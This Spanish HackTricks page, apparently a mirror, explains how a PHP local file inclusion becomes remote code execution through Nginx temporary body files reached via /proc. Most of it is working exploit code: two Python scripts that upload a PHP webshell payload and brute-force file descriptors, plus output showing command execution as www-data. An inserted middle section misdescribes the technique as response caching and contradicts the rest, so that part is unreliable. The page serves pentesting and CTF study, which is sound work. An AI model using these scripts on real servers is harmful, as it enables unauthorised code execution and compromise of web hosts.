mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 09:29:59 +00:00
314 lines
15 KiB
Markdown
314 lines
15 KiB
Markdown
## LFI2RCE a través de archivos temporales de Nginx
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Configuración vulnerable
|
|
|
|
* Código PHP:
|
|
```
|
|
<?php include_once($_GET['file']);
|
|
```
|
|
* Configuración de FPM / PHP:
|
|
```
|
|
...
|
|
php_admin_value[session.upload_progress.enabled] = 0
|
|
php_admin_value[file_uploads] = 0
|
|
...
|
|
```
|
|
* Configuración / endurecimiento:
|
|
```
|
|
...
|
|
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
|
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
|
...
|
|
```
|
|
Afortunadamente, PHP se despliega actualmente a menudo a través de PHP-FPM y Nginx. Nginx ofrece una función de almacenamiento en búfer del cuerpo del cliente que a menudo se pasa por alto, la cual escribirá archivos temporales si el cuerpo del cliente (no limitado a POST) es mayor que un umbral determinado.
|
|
|
|
Esta función permite que las LFI sean explotadas sin necesidad de crear otros archivos, si Nginx se ejecuta con el mismo usuario que PHP (lo cual se hace muy comúnmente como www-data).
|
|
|
|
Código relevante de Nginx:
|
|
```c
|
|
ngx_fd_t
|
|
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
|
|
{
|
|
ngx_fd_t fd;
|
|
|
|
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
|
access ? access : 0600);
|
|
|
|
if (fd != -1 && !persistent) {
|
|
(void) unlink((const char *) name);
|
|
}
|
|
|
|
return fd;
|
|
}
|
|
```
|
|
Es evidente que **el archivo temporal se elimina inmediatamente** después de ser abierto por Nginx. Afortunadamente, **procfs se puede utilizar para obtener una referencia** al archivo eliminado a través de una carrera:
|
|
```
|
|
...
|
|
/proc/34/fd:
|
|
total 0
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
|
|
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
|
...
|
|
```
|
|
Nota: No se puede incluir directamente `/proc/34/fd/15` en este ejemplo ya que la función `include` de PHP resolvería la ruta a `/var/lib/nginx/body/0000001368 (eliminado)` que no existe en el sistema de archivos. Afortunadamente, esta pequeña restricción se puede evitar mediante alguna indirección como: `/proc/self/fd/34/../../../34/fd/15` que finalmente ejecutará el contenido del archivo eliminado `/var/lib/nginx/body/0000001368`.
|
|
|
|
## Exploit completo
|
|
```python
|
|
#!/usr/bin/env python3
|
|
import sys, threading, requests
|
|
|
|
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
|
|
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
|
|
|
|
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
|
|
|
|
# find nginx worker processes
|
|
r = requests.get(URL, params={
|
|
'file': '/proc/cpuinfo'
|
|
})
|
|
cpus = r.text.count('processor')
|
|
|
|
r = requests.get(URL, params={
|
|
'file': '/proc/sys/kernel/pid_max'
|
|
})
|
|
pid_max = int(r.text)
|
|
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
|
|
|
|
nginx_workers = []
|
|
for pid in range(pid_max):
|
|
r = requests.get(URL, params={
|
|
'file': f'/proc/{pid}/cmdline'
|
|
})
|
|
|
|
if b'nginx: worker process' in r.content:
|
|
print(f'[*] nginx worker found: {pid}')
|
|
|
|
nginx_workers.append(pid)
|
|
if len(nginx_workers) >= cpus:
|
|
break
|
|
|
|
done = False
|
|
|
|
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
|
|
def uploader():
|
|
print('[+] starting uploader')
|
|
while not done:
|
|
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
|
|
|
for _ in range(16):
|
|
t = threading.Thread(target=uploader)
|
|
t.start()
|
|
|
|
# brute force nginx's fds to include body files via procfs
|
|
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
|
|
def bruter(pid):
|
|
global done
|
|
|
|
while not done:
|
|
print(f'[+] brute loop restarted: {pid}')
|
|
for fd in range(4, 32):
|
|
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
|
r = requests.get(URL, params={
|
|
'file': f,
|
|
'c': f'id'
|
|
})
|
|
if r.text:
|
|
print(f'[!] {f}: {r.text}')
|
|
done = True
|
|
exit()
|
|
|
|
for pid in nginx_workers:
|
|
a = threading.Thread(target=bruter, args=(pid, ))
|
|
a.start()
|
|
```
|
|
# LFI to RCE via Nginx temp files
|
|
|
|
## Introducción
|
|
|
|
En algunos servidores web que utilizan Nginx como servidor proxy inverso, es posible explotar una vulnerabilidad de inclusión de archivos locales (LFI) para lograr la ejecución remota de código (RCE) a través de archivos temporales de Nginx.
|
|
|
|
## Detalles
|
|
|
|
Cuando Nginx actúa como servidor proxy inverso, puede almacenar en caché las respuestas de los servidores de origen en archivos temporales. Estos archivos temporales se almacenan en un directorio temporal configurado en el archivo de configuración de Nginx.
|
|
|
|
Si un atacante puede controlar la entrada de un parámetro utilizado para incluir archivos locales en una solicitud HTTP, puede utilizar una secuencia de escape para acceder a un archivo temporal de Nginx que contenga el contenido de la respuesta de la solicitud original. A partir de ahí, el atacante puede inyectar código malicioso en el archivo temporal y luego hacer que Nginx lo ejecute.
|
|
|
|
## Explotación
|
|
|
|
Para explotar esta vulnerabilidad, el atacante debe seguir los siguientes pasos:
|
|
|
|
1. Identificar un servidor web que utilice Nginx como servidor proxy inverso y que tenga habilitada la caché de archivos temporales.
|
|
2. Identificar un parámetro que se utilice para incluir archivos locales en una solicitud HTTP.
|
|
3. Utilizar una secuencia de escape para acceder a un archivo temporal de Nginx que contenga el contenido de la respuesta de la solicitud original.
|
|
4. Inyectar código malicioso en el archivo temporal y hacer que Nginx lo ejecute.
|
|
|
|
## Mitigación
|
|
|
|
Para mitigar esta vulnerabilidad, se recomienda lo siguiente:
|
|
|
|
1. Deshabilitar la caché de archivos temporales de Nginx.
|
|
2. Validar y filtrar cuidadosamente cualquier entrada de usuario que se utilice para incluir archivos locales en una solicitud HTTP.
|
|
3. Mantener actualizado Nginx y aplicar parches de seguridad según sea necesario.
|
|
```
|
|
$ ./pwn.py 127.0.0.1 1337
|
|
[*] cpus: 2; pid_max: 32768
|
|
[*] nginx worker found: 33
|
|
[*] nginx worker found: 34
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] starting uploader
|
|
[+] brute loop restarted: 33
|
|
[+] brute loop restarted: 34
|
|
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
```
|
|
### Otro Exploit
|
|
|
|
Este es de [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
|
```python
|
|
import requests
|
|
import threading
|
|
import multiprocessing
|
|
import threading
|
|
import random
|
|
|
|
SERVER = "http://localhost:8088"
|
|
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
|
|
# Set the following to True to use the above set of PIDs instead of scanning:
|
|
USE_NGINX_PIDS_CACHE = False
|
|
|
|
def create_requests_session():
|
|
session = requests.Session()
|
|
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
|
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
|
session.mount('http://', adapter)
|
|
return session
|
|
|
|
def get_nginx_pids(requests_session):
|
|
if USE_NGINX_PIDS_CACHE:
|
|
return NGINX_PIDS_CACHE
|
|
nginx_pids = set()
|
|
# Scan up to PID 200
|
|
for i in range(1, 200):
|
|
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
|
if cmdline.startswith("nginx: worker process"):
|
|
nginx_pids.add(i)
|
|
return nginx_pids
|
|
|
|
def send_payload(requests_session, body_size=1024000):
|
|
try:
|
|
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
|
payload = '<?php system("/readflag"); ?> //'
|
|
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
|
except:
|
|
pass
|
|
|
|
def send_payload_worker(requests_session):
|
|
while True:
|
|
send_payload(requests_session)
|
|
|
|
def send_payload_multiprocess(requests_session):
|
|
# Use all CPUs to send the payload as request body for Nginx
|
|
for _ in range(multiprocessing.cpu_count()):
|
|
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
|
p.start()
|
|
|
|
def generate_random_path_prefix(nginx_pids):
|
|
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
|
path = ""
|
|
component_num = random.randint(0, 10)
|
|
for _ in range(component_num):
|
|
pid = random.choice(nginx_pids)
|
|
if random.randint(0, 1) == 0:
|
|
path += f"/proc/{pid}/cwd"
|
|
else:
|
|
path += f"/proc/{pid}/root"
|
|
return path
|
|
|
|
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
|
nginx_pid_list = list(nginx_pids)
|
|
while True:
|
|
path = generate_random_path_prefix(nginx_pid_list)
|
|
path += f"/proc/{nginx_pid}/fd/{fd}"
|
|
try:
|
|
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
|
except:
|
|
continue
|
|
# Flags are formatted as hxp{<flag>}
|
|
if "hxp" in d:
|
|
print("Found flag! ")
|
|
print(d)
|
|
|
|
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
|
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
|
for fd in range(10, 45):
|
|
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
|
thread.start()
|
|
|
|
def read_file_multiprocess(requests_session, nginx_pids):
|
|
for nginx_pid in nginx_pids:
|
|
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
|
p.start()
|
|
|
|
if __name__ == "__main__":
|
|
print('[DEBUG] Creating requests session')
|
|
requests_session = create_requests_session()
|
|
print('[DEBUG] Getting Nginx pids')
|
|
nginx_pids = get_nginx_pids(requests_session)
|
|
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
|
print('[DEBUG] Starting payload sending')
|
|
send_payload_multiprocess(requests_session)
|
|
print('[DEBUG] Starting fd readers')
|
|
read_file_multiprocess(requests_session, nginx_pids)
|
|
```
|
|
## Laboratorios
|
|
|
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
|
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
|
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
|
|
|
## Referencias
|
|
|
|
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|